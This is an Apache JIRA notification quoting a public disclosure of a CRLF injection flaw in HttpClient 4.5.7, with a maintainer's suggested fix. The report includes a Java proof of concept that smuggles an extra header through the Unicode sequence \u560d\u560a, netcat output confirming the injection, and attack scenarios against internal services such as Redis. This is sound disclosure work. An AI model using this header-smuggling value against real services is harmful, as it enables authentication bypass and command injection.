[
https://issues.apache.org/jira/browse/HTTPCLIENT-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16798008#comment-16798008
]
Julian Reschke commented on HTTPCLIENT-1974:
--------------------------------------------
...seems that the obvious fix would be to run whitespace sanitization *after*
converting the Java string to an octet sequence.
> CRLF injection vulnerability in setting/adding HTTP headers
> -----------------------------------------------------------
>
> Key: HTTPCLIENT-1974
> URL: https://issues.apache.org/jira/browse/HTTPCLIENT-1974
> Project: HttpComponents HttpClient
> Issue Type: Bug
> Components: HttpClient (classic)
> Affects Versions: 4.5.7
> Reporter: Filip Ochnik
> Priority: Major
>
> Hello,
>
> Note: This vulnerability has already been reported using a private channel.
> Unfortunately, it was deemed as non-issue by maintainers. I'm posting it here
> for public visibility.
>
> *Summary*
> HttpClient in versions 4.5.7 and below is vulnerable to CRLF injection when
> adding or setting headers on an HTTP request. Attacker who can control the
> value of any header in a request created using HttpClient could exploit this
> vulnerability to add arbitrary headers and attack internal services, like a
> webserver, Redis, memcached, etc.
>
> *Details*
> The current version of HttpClient does not properly filter unicode values,
> resulting in the sequence '{color:#000000}\u560d\u560a{color}' being
> converted to `\r\n` and causing unintended behavior. When the value (or part
> of the value) of any header set when constructing an HTTP request using
> HttpClient is controlled by an attacker, it allows them to insert arbitrary
> content to the new line of the HTTP header.
>
> *Proof of concept*
> Consider this piece of code, where variable "attackerControlledValue"
> simulates an attacker-controlled input.
>
> {code:java}
> import org.apache.http.client.methods.HttpGet;
> import org.apache.http.impl.client.CloseableHttpClient;
> import org.apache.http.impl.client.HttpClients;
> public class Main {
> public final static void main(String[] args) throws Exception {
> CloseableHttpClient httpclient = HttpClients.createDefault();
> String attackerControlledValue = "1\u560d\u560aX-But-Not-This-One: oh
> no!";
> try {
> HttpGet httpget = new HttpGet("http://127.0.0.1:8080/";);
> httpget.addHeader("X-I-Expect-This-Header",
> attackerControlledValue);
> httpclient.execute(httpget);
> } finally {
> httpclient.close();
> }
> }
> }{code}
>
>
> We set up a netcat listener on port 8080 and run this code:
>
> {code:java}
> $ nc -l 8080
> GET / HTTP/1.1
> X-I-Expect-This-Header: 1
> X-But-Not-This-One: oh no!
> Host: 127.0.0.1:8080
> Connection: Keep-Alive
> User-Agent: Apache-HttpClient/4.5.7 (Java/1.8.0_172)
> Accept-Encoding: gzip,deflate
> {code}
>
> We can see in the netcat output that the header
> "{color:#000000}X-But-Not-This-One{color}" is present in the request, which
> means the injection succeeded.
>
> *Attack scenarios*
> * By adding arbitrary HTTP headers it's possible to bypass authentication of
> some simple web services
> * Several simple services that communicate over HTTP (Redis, memcached) can
> be exploited by injecting valid commands
>
> *Related vulnerabilities*
> Here are some related CRLF injection vulnerabilities in other software:
> * CVE-2016-5699 in Python’s stdlib
> [https://nvd.nist.gov/vuln/detail/CVE-2016-5699]
> * CVE-2017-6508 in wget [https://nvd.nist.gov/vuln/detail/CVE-2017-6508]
> * CVE-2016-4993 in Undertow web server
> [https://nvd.nist.gov/vuln/detail/CVE-2016-4993]
> * CVE-2019-9740 in Python's stdlib again
> [https://nvd.nist.gov/vuln/detail/CVE-2019-9740]
--
This message was sent by Atlassian JIRA
(v7.6.3#76005)
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscr...@hc.apache.org
For additional commands, e-mail: dev-h...@hc.apache.org
